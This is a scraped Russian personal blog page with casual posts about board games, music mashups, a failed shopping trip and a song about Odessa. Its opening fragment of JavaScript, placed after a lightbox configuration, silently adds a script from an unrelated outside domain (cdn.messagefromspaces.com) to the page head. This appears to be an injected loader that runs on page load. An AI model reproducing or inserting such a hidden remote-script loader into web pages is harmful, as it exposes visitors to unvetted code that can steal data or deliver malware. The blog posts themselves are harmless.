, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })

Отличный блог про инфографику и компьютерные игры.

Прямо даже не знаю, кого и выбрать.

А что, нормальная зима, холодно и солнце светит.

Сходка
Терпите, бляди, скоро лето
Наш Котопырь

Вот так проснёшься утром, а за окном «День независимости»:

День независимости
Открыл для себя мэшапы. Сначала просто пару-тройку клипов на «ютубе» посмотрел, а вчера [info]Захар Борисович ещё и ссылку подогнал.
Мэшап (иначе «мэш-ап», от англ. mash-up — «смешивать») — неоригинальное музыкальное произведение, состоящее, как правило, из двух (реже нескольких) исходных произведений.

Первое радужное впечатление сменилось небольшим разочарованием, т.к. мэшапов много, а интересных мало: то исполнители неинтересны, то исходных песен не знаешь. Но я нашёл несколько интересных.

Не тонут, сцуки!

В игра «Коронация» мне попались два перевёртыша:

Происки упырей, не иначе.

В воскресенье перед сном мы решили сбегать за сокровищами. Десять минут — и игра «DungeonQuest» разложена на столе.

Игра «DungeonQuest» (фото взято с BGG)

Несмотря на то, что это была ознакомительная партия и некоторые вопросы по правилам так и остались неотвеченными, само приключение было очень и очень интересным.

Я застрял в самом начале, уперевшись в стенку, пройдя всего четыре комнаты. Машка же уверенно прокладывала путь к сокровищнице дракона. Поначалу мы осматривали попадающиеся по дороге трупы предыдущих неудачников в надежде получить какие-нибудь ништяки, но вместо этого мы получили немало люлей от местных маленьких монстров. И решили оставить трупы в покое от греха подальше. Лучше идти вперёд!

Машка уверенно брела по лабиринту без особых приключений и, глядя на то, как ей осталось пару шагов до сокровищницы, я решил проскочить участок по катакомбам. Но вместо того, чтобы быстро проскочить, я заблудился там. Да и ещё мой хлипкий маг был укушен вампиром, после чего я начал терять по 1 жизни каждый ход.

В этот момент Машка вовсю уже шарила по сокровищам под носом у дракона. Злоупотреблять гостеприимством дракона она не стала и направилась к выходу. Однако на том пути, по которому она пришла, находился мостик, и целый пук нахапанных сокровищ крайне осложнял переход по нему. Поэтому она решила проложить новый путь. Я же в это время продолжал без толку шароёбитья по катакомбам. Машке повезло наткнуться на парочку коридоров, которые можно проскочить быстро и без проблем, но внезапно у неё потух факел. Пришлось его зажигать и терять драгоценное время, ведь Солнце уже склонялось к закату, а наступление ночи в подземелье означает смерть всем приключенцам, не успевших выбраться. До выхода Машке оставалось пару шагов, как путь закончился тупиком. Немного пошарив по стенами, она обнаружила секретную дверь, а за ней — ебучего монстра! Пришлось убегать, сломя голову. Но совсем не далеко. В следующей комнатей её закусали крысы насмерть и её приключение закончилось.

А я так и не выбрался из катакомб.

Вчера решили заехать в «Ашан» за белой блузкой. Ну и заодно купить масла оливкового, текилы и пару мисок. Чтоб не зря. На кассе я приготовил карточку, но не тут-то было.

— Ой, мы карточки не принимаем.
— Ну вот же у вас есть прибор.
— Это только для карточек «Ашана».
— Ну и сами разбирайтесь!

Мы бросили тележку возле кассы и были таковы.

А ещё в где-то в Ашанах продаются телефоны iPhone 4. Так называемые айШанфоны.

Теперь я пялюсь сюда:

Вид из моего окна

А раньше вообще без окошка работал.

По мотивам фотографии:

Заморочился и перевёл текст всех карт базового набора игры «Call of Cthulhu LCG», используя перевод правил Алексея Тарасенко.

Осталось найти с кем поиграть.

Кроме «Конверсии» у меня дома завалялась ещё одна советская игра 1988-го года, не похожая на клоны монополий. Игра называется «Старый замок». В состав игры входят фишки игроков и 36 тайлов замка из которых собирается лабиринт. Цель игрока — первому выбраться из замка.

Игра «Старый замок» упоминается в статье «Обзор немецкой игровой серии «Labyrinth»».

В общем я собрался с силами и отсканировал материалы этой игры. Т.к. качество исходника желало быть более лучшим, то обработка сканов свелась к подгонке размеров и цветокоррекции.

Материалы для печати игры «Старый замок» (6.9 Мб)

«EMS Почта России» удивила. Мало того, что посылки идут столько же времени, как если бы они посылались через USPS, так ещё и посылку умудрились на дом доставить. Как, собственно, и должно быть.

Я столько слышал про их йобнутых курьеров, которые не делают свою работу, что уже привык к мысли ехать на Вернадского за посылкой, а тут на тебе.

Ко мне наконец-то приехала кооперативная игра «Pandemic»! А также ещё одна кооперативная игра того же автора — «Forbidden Island».

Помните такую песню?

Я вам не скажу за всю Одессу,
Вся Одесса очень велика,
Но и молдаванка и пересы
Обожают Костю-моряка.

Костя-моряк, в принципе, был молодец. Всей Одессе он не нравился, но его точно обожала какая-то молдовская баба и пересы. Или перезы. Кто это такие, я как-то особо не задумывался. Наверное, думал я, это такие ебланы местные, типа биндюжников. Мало ли кто в Одессе живёт.

Но какое-то тревожное чувство всегда посещало меня при прослушивании этой песни. Что же это за такой Костя-моряк, которого обажает одна баба и какие-то пересы, мать их? Может этих пересов там так много и если уж они обожают, то все в курсе? И кто эта такая неизвестная молдаванка и почему она всего одна?

И вот после посещения Одессы этот тупняк тупняк про бабу и ебланов закончился. Молдаванка — это не молдавская баба, а название района. А группа пересов-ебланов — это Перéсыпь, тоже название района.

Пять лет ждал я этого момента и вот он наступил. Вчера на концерте группы «Dsh!-Dsh!» я получил автограф у Андриеша Гандрабура, создателя музыки к игре «Мор.Утопия».

Ждал, готовился, заказал зарубежное издание игры «Pathologic» из-за рубежа, даже смог найти её в забитой хламом кладовке, а сам момент протупил — неправильную ручку выбрал. Теперь на обложке игры красуется полуначёрканная закорючка.

Эх, растыка я.

Отредактировал специальную памятку для игры «Ужас Аркхэма» с использованием терминов и названий из официальной русской локализации игры.

Читать полностью »